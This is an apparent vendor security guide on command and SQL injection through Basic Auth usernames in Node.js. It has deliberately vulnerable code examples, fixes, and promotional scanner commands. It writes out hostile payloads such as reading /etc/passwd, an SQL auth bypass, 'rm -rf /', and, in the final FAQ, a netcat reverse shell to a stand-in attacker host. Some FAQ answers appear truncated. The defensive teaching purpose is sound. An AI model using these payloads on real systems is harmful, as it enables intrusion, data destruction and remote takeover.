Command Injection with Basic Auth
How Command Injection Manifests in Basic Auth
Command injection in Basic Auth contexts occurs when user-controlled data from the Authorization header is passed directly to system commands without proper sanitization. This vulnerability is particularly dangerous because Basic Auth credentials are base64-encoded, not encrypted, making them trivial to decode and manipulate.
The most common attack vector involves the username field. Since Basic Auth credentials follow the format username:password, an attacker can craft a username containing shell metacharacters. For example, submitting admin$(cat /etc/passwd):x as the username results in the Authorization header containing base64-encoded malicious payload.
Consider this vulnerable Node.js implementation:
const express = require('express');
const app = express();
app.use((req, res, next) => {
const authHeader = req.headers.authorization;
if (!authHeader) return res.status(401).send('Missing auth');
const [type, credentials] = authHeader.split(' ');
if (type !== 'Basic') return res.status(401).send('Basic auth required');
const decoded = Buffer.from(credentials, 'base64').toString();
const [username, password] = decoded.split(':');
// VULNERABLE: Direct command execution with user input
const { execSync } = require('child_process');
const result = execSync(`./verify_user.sh ${username} ${password}`);
if (result.toString().includes('valid')) {
next();
} else {
res.status(401).send('Invalid credentials');
}
});An attacker submitting $(whoami):x as the username would execute arbitrary commands on the server. The base64 encoding doesn't provide any protection—it's trivial to decode and inject malicious payloads.
Another attack pattern involves timing attacks. Since Basic Auth implementations often validate credentials synchronously, an attacker can submit carefully crafted usernames that cause the validation process to hang or crash, potentially leading to denial of service.
Database injection through Basic Auth is also common. Many applications use the username to query user databases:
const db = require('./db');
function authenticate(req, res, next) {
const auth = req.headers.authorization;
if (!auth) return res.status(401).send('Missing auth');
const [type, credentials] = auth.split(' ');
const decoded = Buffer.from(credentials, 'base64').toString();
const [username, password] = decoded.split(':');
// VULNERABLE: SQL injection through username
const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
db.query(query, (err, results) => {
if (err || results.length === 0) {
return res.status(401).send('Invalid credentials');
}
next();
});
}Here, submitting admin' OR '1'='1 as the username bypasses authentication entirely.
Basic Auth-Specific Detection
Detecting command injection in Basic Auth requires examining how the decoded credentials are processed. The key indicators are:
Static Analysis: Look for code that directly interpolates the username or password into system commands, database queries, or file paths. Common patterns include:
// Dangerous patterns:
execSync(`./script.sh ${username}`);
exec(`ping -c 4 ${ip}`);
execSync(`cat /data/${username}/file.txt`);
Runtime Detection: When scanning APIs with Basic Auth endpoints, middleBrick specifically tests for command injection by submitting payloads containing shell metacharacters. The scanner attempts to:
- Submit usernames with
$(command)syntax to test command execution - Submit usernames with
;or&&to test command chaining - Submit usernames with
|to test piping - Submit usernames with
>or>>to test file redirection
Network-Level Detection: Monitor for unusual system calls originating from your authentication middleware. Tools like auditd or Linux's strace can reveal when authentication code is executing unexpected commands.
middleBrick's Approach: The scanner decodes the Basic Auth header, extracts the username field, and tests it against a comprehensive command injection payload list. It specifically looks for:
| Payload Type | Purpose | Example |
|---|---|---|
| Command Execution | Test direct command execution | $(whoami) |
| Command Chaining | Test multiple command execution | admin; ls -la |
| Background Execution | Test async command execution | admin & sleep 10 |
| File Access | Test file system access | admin; cat /etc/passwd |
The scanner also checks if the server responds differently to valid vs invalid command injection attempts, which can indicate whether commands are being executed.
Automated Testing: You can use the middleBrick CLI to scan your Basic Auth endpoints:
middlebrick scan https://api.example.com --auth basic --username "$(whoami)" --password "x"
This command tests whether the server executes the whoami command when processing the Basic Auth header.
Basic Auth-Specific Remediation
Remediating command injection in Basic Auth contexts requires both input validation and safe coding practices. Here are specific fixes for common vulnerable patterns:
1. Input Validation and Sanitization
Never trust the username or password fields. Implement strict validation:
function validateUsername(username) {
// Allow only alphanumeric, underscores, and periods
const regex = /^[a-zA-Z0-9_.-]+$/;
return regex.test(username);
}
function validatePassword(password) {
// Enforce minimum length and complexity
return password.length >= 8;
}
function authenticate(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader) return res.status(401).send('Missing auth');
const [type, credentials] = authHeader.split(' ');
if (type !== 'Basic') return res.status(401).send('Basic auth required');
const decoded = Buffer.from(credentials, 'base64').toString();
const [username, password] = decoded.split(':');
// Validate inputs before processing
if (!validateUsername(username) || !validatePassword(password)) {
return res.status(401).send('Invalid credentials format');
}
// Safe processing...
}2. Safe Command Execution
Never interpolate user input directly into commands. Use argument arrays instead:
const { execFile } = require('child_process');
function verifyUser(username, password) {
return new Promise((resolve, reject) => {
// Safe: arguments are passed separately, not interpolated
execFile('./verify_user.sh', [username, password], (error, stdout, stderr) => {
if (error) {
return reject(error);
}
resolve(stdout);
});
});
}
// Usage:
try {
const result = await verifyUser(username, password);
if (result.includes('valid')) {
next();
} else {
res.status(401).send('Invalid credentials');
}
} catch (error) {
console.error('Verification failed:', error);
res.status(500).send('Internal server error');
}3. Parameterized Database Queries
Always use parameterized queries for database operations:
const db = require('./db');
function authenticate(req, res, next) {
const auth = req.headers.authorization;
if (!auth) return res.status(401).send('Missing auth');
const [type, credentials] = auth.split(' ');
const decoded = Buffer.from(credentials, 'base64').toString();
const [username, password] = decoded.split(':');
// Safe: parameterized query prevents SQL injection
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, password], (err, results) => {
if (err || results.length === 0) {
return res.status(401).send('Invalid credentials');
}
next();
});
}4. File System Access Controls
If your authentication involves file access, implement strict path validation:
const path = require('path');
function safeFilePath(username) {
// Only allow access to specific directory
const basePath = path.join(__dirname, 'authorized_users');
const fullPath = path.join(basePath, username);
// Resolve to prevent directory traversal
const resolved = path.resolve(fullPath);
// Ensure the resolved path is within the base directory
if (!resolved.startsWith(basePath)) {
throw new Error('Path traversal attempt detected');
}
return resolved;
}
// Usage:
try {
const filePath = safeFilePath(username);
const data = fs.readFileSync(filePath, 'utf8');
// Process data...
} catch (error) {
return res.status(401).send('Invalid credentials');
}5. middleBrick Integration
After implementing these fixes, use middleBrick to verify your remediation:
# Scan your API to ensure command injection is fixed
middlebrick scan https://api.example.com/auth --auth basic --username "admin$(whoami)" --password "x"
# Check the report for any remaining vulnerabilities
middlebrick report last --format json
The scanner will attempt various command injection payloads and report whether any were successful, giving you confidence in your remediation.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |
Frequently Asked Questions
Why doesn't base64 encoding protect against command injection in Basic Auth?
Can command injection through Basic Auth lead to remote code execution?
$(rm -rf /) as the username could delete critical system files, while $(nc -e /bin/bash attacker.com 4444) could give the attacker a remote shell. The severity depends on the server's permissions and what commands are being executed, but the potential for full system compromise is very real.